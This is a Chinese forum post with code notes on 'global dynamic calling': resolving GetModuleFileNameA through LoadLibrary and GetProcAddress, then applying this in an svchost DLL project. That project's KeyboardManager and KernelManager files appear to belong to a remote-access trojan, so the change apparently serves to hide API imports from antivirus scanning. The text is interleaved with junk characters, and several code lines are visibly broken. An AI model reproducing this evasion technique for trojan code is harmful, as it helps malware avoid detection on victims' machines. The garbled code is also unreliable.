返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记5 T& ^1 z6 A0 d2 v- t: \
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h/ G$ K* e& F3 z
----------------------------------------+ G' r0 Q% q2 a! B3 M6 s8 V
DTDY.h:
5 ~* l4 q  c5 G0 Z5 O4 B
8 i3 F: z+ @% `- {#if _MSC_VER>10000 E& s2 {* ~2 [) y9 x
#pragma once
7 y# N, q8 v+ e6 F) P7 r6 |#endif //_MSC_VER>1000; \* @' o+ I  d- n4 r4 l
#include<windows.h>4 v/ p; [% d* x$ F7 P5 D% z+ k; q  k. p
0 ^) l8 S5 q' o) D- {$ N
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
: I3 X/ h0 h. [8 C5 P' N" w9 Uclass DTDY/ b5 n1 d0 B2 M  P0 [% d& b
{
- I* {) U$ {. \; Z4 y6 o5 c6 `; Tpublic:* Z, `5 |) |& b. u
DTDY();. Z+ s  D8 [' ]0 U, X2 e* ?
virtual ~DTDY();& U+ V% C3 J3 m: o
public:7 w3 |! O: M. `) G9 F
static pGetModuleFileNameA MyGetModuleFileName;; U) V, m& Y& V2 E
static BOOL FunInitiallization();
2 U3 {  Z/ C. m0 ?, x% d$ R};$ ?" ~- x/ C8 ?9 X
#endif3 h" R6 Q7 ]. V. U+ ?$ s* J# ~: ?
----------------------------------------1 V* W' v6 B6 _$ `3 |

! L( }7 g8 y, L- E) V! S2 wDTDY.cpp:" a. ?( H; M* X$ M

* @! g9 R" i  Z#include "DTDY.h"
4 S0 D( f" J! A% P) g1 epGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;: ~! Z% ]1 a* g
DTDY:TDY()
7 X; Y, G: Y: D' T* R3 q{
. f" G, h( g" y$ A, a" S}
, m7 b, z. j1 v* |DTDY::~DTDY(): ^  L8 y- d  r: e. m4 _
{! H7 P3 i4 |) B7 T4 Y/ _1 z) |
}
& ?6 }! k  @+ a& Z; XBOOL DTDY::FunInitiallization()
, ], R% ?- K/ q{/ o6 @0 ]* j; ~9 b" o, V1 I
HMODULE hModule=LoadLibrary("kernel32.dll");' H9 p2 b+ ?" }/ S8 r
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
( Q0 r  k5 v' f! `if(!MyGetModuleFileName=) return FALSE;4 |& w3 P) m# v/ q

% H: ?: A0 |9 w5 `/ lreturn TRUE;
* \. p6 i0 e& y8 U, h}
" }! v0 O: C7 H6 S----------------------------------------% z. j1 B2 d2 T- C- N9 O
svchost.cpp:  ?9 @! h. K5 V2 o+ j# Y" f

- S2 H7 h( b' e& C  s! n#include "DTDY.h"# F# r1 i1 R" ]& A

, B8 c0 s' M! q( J0 U& a+ M6 _8 WBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)) {$ Q! V+ L+ p' J- H3 D. n% H6 [. D
{  G0 ]# Q) P* y" i7 i# v6 B
switch(ul_reason_for_call)
) z  Y; P/ C. v, G) L+ a* X- D  M0 R9 k{9 I& R$ b7 H  ^- Y* D. i
case DLL_PROCESS_ATTACH:
9 T% }. J# Q; {$ jif(!DTDY::FunInitiallization()) return FALSE;9 L6 O) R* w, @2 k" ~

' l1 Y# R- q2 a/ o) C: Sbreak;. f& n7 T0 w; Z4 F& u+ F, T2 B
}( H; }( g+ \: u
}0 Z+ o, i" J8 S- [, \# a. y
% [/ d; U( K; \4 x' I- X0 ]/ ]
# j* ^# X2 d. O
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def6 z6 v# `3 ^6 ?6 x( p, @
改写为- H8 E2 }, g0 y: d1 }+ q' r
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));7 K4 ?5 n" g% P+ D: ]1 p
----------------------------------------8 ?) U; j% i+ u$ A% }9 U; c5 e$ J/ [
KernelManager.cpp:
5 z* f" ]  U" d5 J. a8 H5 W& x8 E3 t; W+ @& I
#include "../DTDY.h"' p' V/ m( [/ B7 H. Z% p
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
' B1 q  O7 w* k. b5 m  S* @9 {$ @4 x改写为
' ^0 e4 c# W3 S3 A! f/ YDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
6 o, B$ I- I) }. R5 ^8 [: o. l) X" a  W----------------------------------------

返回列表